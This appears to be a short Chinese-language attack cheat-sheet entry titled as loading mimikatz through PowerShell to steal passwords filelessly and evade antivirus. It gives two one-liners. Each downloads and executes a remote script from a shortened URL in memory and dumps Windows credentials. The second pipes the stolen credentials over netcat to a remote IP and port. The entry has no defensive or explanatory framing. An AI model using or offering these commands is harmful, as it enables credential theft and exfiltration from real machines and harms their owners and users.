powershell加载mimikatz 抓密码 (无文件，躲过杀软，可以nc回显)

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" 

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" | nc 192.168.1.1 4444